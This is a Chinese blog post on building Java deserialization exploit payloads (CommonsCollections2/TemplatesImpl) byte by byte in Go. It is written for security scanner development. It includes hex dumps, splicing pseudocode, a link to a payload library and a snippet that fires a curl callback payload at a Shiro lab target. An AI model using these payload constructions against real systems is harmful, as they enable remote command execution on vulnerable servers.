二进制角度构造Java反序列化Payload

 

介绍

最近用Go编写Java反序列化相关的扫描器，遇到一个难点：如何拿到根据命令生成的payload

通过阅读已有开源工具的源码，发现大致有以下两种解决方案

执行命令法

使用命令执行ysoserial.jar，例如一些python工具用system，popen等函数，拼接命令拿到输出

• 优点：最简单的实现，快速上手
• 缺点：ysoserial.jar过大，并且依赖java环境，并不是很方便

直接用Java编写

很多工具直接采用Java编写，生成payload的部分可以脱离ysoserial.jar，结合反射和Javaassist技术做进一步的处理

• 优点：用Java来生成Java的payload是最标准的
• 缺点：必须由Java编写的工具才可以

二进制角度构造

反序列化数据本身是有结构的，比如多次生成CC1的payload可以看到只有命令和命令前两字节有变化。前面两字节表示了命令的长度，所以我们直接拼接一下即可实现CC1

（图中0008表示命令长度，calc.exe是命令）

其实更多的Payload并不是像CC1这么简单，比如构造TemplateImpl，过程较复杂

 

预备

笔者在ysoserial的PayloadRunner里写代码导出，并且打印一下HEX，方便比较

private static final char[] hexCode = "0123456789ABCDEF".toCharArray();
public static String printHexBinary(byte[] data) {
  StringBuilder r = new StringBuilder(data.length * 2);
  for (byte b : data) {
    r.append(hexCode[(b >> 4) & 0xF]);
    r.append(hexCode[(b & 0xF)]);
  }
  return r.toString();
}

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
  ......
  FileOutputStream fos = new FileOutputStream("cc2.bin");
  fos.write(ser);
  System.out.println(printHexBinary(ser));
  ......

 

分析过程

分析生成的cc2.bin需要用xxd命令：xxd cc2.bin

第一处关键点：

0000 069c表示后面cafe babe开头的class文件长度，以此可以确定payload固定的开头部分。开头部分命名为globalPrefix，四字节的长度变量命名为dataLen

（如何确认到这里：肉眼审计，排除看上去是常量或系统函数的地方）

00000340: 6767 db37 0200 0078 7000 0000 0275 7200  gg.7...xp....ur.
00000350: 025b 42ac f317 f806 0854 e002 0000 7870  .[B......T....xp
00000360: 0000 069c cafe babe 0000 0032 0039 0a00  ...........2.9..
00000370: 0300 2207 0037 0700 2507 0026 0100 1073  .."..7..%..&...s

以此为根据找到class文件结束位置0x0364+0x069c=0x0a00，从0x364-0x0a00这一部分都是构造templatesImpl的二进制，观察到7571007e以后的部分都是常量，以此确认结尾部分是7571007e往后至结尾，命名为globalSuffix

000009f0: 0011 0000 000a 0001 0002 0023 0010 0009  ...........#....
00000a00: 7571 007e 0018 0000 01d4 cafe babe 0000  uq.~............
00000a10: 0032 001b 0a00 0300 1507 0017 0700 1807  .2..............
00000a20: 0019 0100 1073 6572 6961 6c56 6572 7369  .....serialVersi

继续从一开始的cafe babe审计至00000800: 000863616c632e657865，0008表示长度为8的命令calc.exe，以此确认从cafe babe开始的class文件的开头部分，命名为prefix

000007e0: 7469 6d65 0100 1528 294c 6a61 7661 2f6c  time...()Ljava/l
000007f0: 616e 672f 5275 6e74 696d 653b 0c00 2c00  ang/Runtime;..,.
00000800: 2d0a 002b 002e 0100 0863 616c 632e 6578  -..+.....calc.ex
00000810: 6508 0030 0100 0465 7865 6301 0027 284c  e..0...exec..'(L

因此从0x0364-0x0806为常量：cafebabe...2b002e01

随后插入2字节的命令长度和命令本身，可以动态构造，分别命名为cmdLen和cmd

审计至0x0870，发现0x0871-0x087e和0x892-0x089f是两个相同的数字，长度14。经过多个操作系统的比较，发现这个数字可以是14，15，16。这个数字来源是系统时间，作用只是一个随机ID。所以我们可以生成随机的数字，随机数命名为randNum

在命令和随机数之间还有一部分多余的数据，我们将它命名为beforeRand

中间拼接的部分是0x087f-0x0891，也就是01001f4c79736f73657269616c2f50776e6572，分割符命名为split（其实ysoserial/Pwner这个字符串也是可以随机的，但没必要再做）

00000850: 000d 5374 6163 6b4d 6170 5461 626c 6501  ..StackMapTable.
00000860: 001d 7973 6f73 6572 6961 6c2f 5077 6e65  ..ysoserial/Pwne
00000870: 7237 3833 3834 3833 3035 3434 3731 3601  r78384830544716.
00000880: 001f 4c79 736f 7365 7269 616c 2f50 776e  ..Lysoserial/Pwn
00000890: 6572 3738 3338 3438 3330 3534 3437 3136  er78384830544716
000008a0: 3b00 2100 0200 0300 0100 0400 0100 1a00  ;.!.............
000008b0: 0500 0600 0100 0700 0000 0200 0800 0400  ................

最后确认class文件的结尾部分，从0x08a0-0x09ff，固定格式3b002100...00100009，命名为suffix，至此可以成功构造出templatesImpl

3B002100020003000100040001001A000500060001000700000002000800040001000A000B000100
0C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C
000100000005000F003800000001001300140002000C0000003F0000000300000001B10000000200
0D00000006000100000034000E00000020000300000001000F003800000000000100150016000100
0000010017001800020019000000040001001A00010013001B0002000C0000004900000004000000
01B100000002000D00000006000100000038000E0000002A000400000001000F0038000000000001
00150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029
000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B100000001003600
0000030001030002002000000002002100110000000A00010002002300100009

 

实现

通过上文中的命名，可以得出一个简化后的实现函数

func GetCommonsCollections2(cmd string) []byte {
  ......
  // dataLen取决于TemplateImpl的大小
  // 在TemplateImpl中构造命令
  // 其他都是常量
  templateImpl := GetTemplateImpl(cmd)
  dataLen := calcTemplateImpl(templateImpl)
  ......
  return globalPrefix + dataLen + templateImpl + globalSuffix
}
func GetTemplateImpl(cmd string) []byte {
  ......
  // cmd由用户输入
  // cmdLen可以计算得出
  // randNum可以随机出
  // 其他都是常量
  cmdLen := caclCmdLen(cmd)
  randNum := getRandNum(cmd)
  ......
  return prefix + cmdLen + cmd + beforeRand + randNum + split + randNum + suffix
}

 

测试

按照思路生成好之后，测试时先用ysoserial生成数据，xxd命令阅读得到随机数，把变量randNum替换

然后生成Payload进行判断，笔者调试过程遇到不少的坑，比如randNum忘记做hex.encode了

而其中cmdLen和dataLen变量其实是无法一眼看出的，笔者能够确认是因为跑了多次ysoserial，对比分析得出的结果

 

实践

笔者在github提交了比较完整的一个库：https://github.com/EmYiQing/Gososerial

该库支持了CC1-CC7,CCK1-CCK4,CB1这些链，并且经过了验证没有问题，可以做到ysoserial的效果

初步确定生成的payload没问题，进一步确认需要靶机

这里用了vulhub的shiro550反序列化靶机，用curl命令结合ceye平台，成功触发

（下图为笔者用golang编写的shiro检测小工具，调用了gososerial的函数，成功执行）

randStr = tool.GetRandomLetter(20)
payload = gososerial.GetCC5("curl " + ceyeInfo.Identifier + "/" + randStr)
log.Info("check %s", gadget.CC5)
SendPayload(key, payload, target)
if checkCeyeResp(ceyeInfo, randStr) {
    log.Info("payload %s success", gadget.CC5)
}

 

总结

整个过程不难，但需要耐心和眼力

其他的反序列化链换汤不换药，甚至TomcatEcho也是类似的原理

因此安全开发者可以在不使用ysoserial的情况下，直接动态生成payload

另外文中这种半猜半测试的实现方式不妥，有兴趣的大佬可以参考java底层反序列化的实现，对二进制数据做进一步的分析和构造

（p师傅好像正在做这件事）